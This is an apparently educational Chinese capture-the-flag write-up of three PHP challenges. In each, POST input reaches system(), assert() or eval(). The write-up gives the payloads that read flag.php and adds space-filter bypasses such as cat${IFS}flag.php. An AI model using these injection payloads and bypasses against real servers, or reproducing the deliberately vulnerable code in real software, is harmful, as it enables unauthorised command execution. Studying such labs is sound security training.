第一题 system
- include "flag.php";
-
- if (isset($_POST['cmd'])) {
- system($_POST['cmd']);
- }
-
- show_source(__FILE__);
代码如上
system($_POST['cmd']);
POST请求发送一个名为 cmd
的参数,然后将该参数的值传递给系统命令执行函数 system()
,这意味着可以发送任意系统命令并执行它们。
我们用post方式传入cmd=cat flag.php
得到flag
第二题 assert
代码如下
- include "flag.php";
-
- //assert("phpinfo()");
-
- if (isset($_POST['cmd'])) {
- $a = $_POST['cmd'];
-
- assert($a);
-
- }
-
- show_source(__FILE__);
代码审计
assert($a);
//assert()
函数它允许执行任意的PHP代码字符串。在这里,它被用来执行 $a
变量中的代码。这意味着用户可以通过POST请求的 "cmd" 参数注入并执行他们想要的PHP代码
show_source(__FILE__);
//show_source()
函数用于显示当前脚本的源代码。这意味着通过浏览器访问这个脚本时,您将能够看到脚本的源代码,包括 flag.php
文件的内容
if (isset($_POST['cmd']))
//这个条件检查是否存在名为 "cmd" 的POST请求参数。
$a = $_POST['cmd'];
//如果 "cmd" 参数存在,它的值被赋给了变量 $a
。
我们用cmd执行system命令中的读取flag命令,得到flag
第三题 签到1-eval
- include "flag.php";
-
- if (isset ($_POST['cmd'])) {
- eval($_POST['cmd']);
-
- }
-
- show_source(__FILE__);
代码如上
我们post个cmd,让cmd去执行system系统命令
cmd=system(' cat flag.php');
payload:
知识点:
isset() 函数用于检测变量是否已设置并且非 NULL
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。
assert()
函数它允许执行任意的PHP代码字符串
在c语言代码中,cmd命令,皆可以字符串形式,作为system函数的参数,调用system函数执行命令
(注意,如,system("color f4"),命令是放在一对双引号里的
使用cat命令 cat flag.php
使用tac命令 tac flag.php
绕过空格过滤 cat${IFS}flag.php
cat$IFS$1flag.php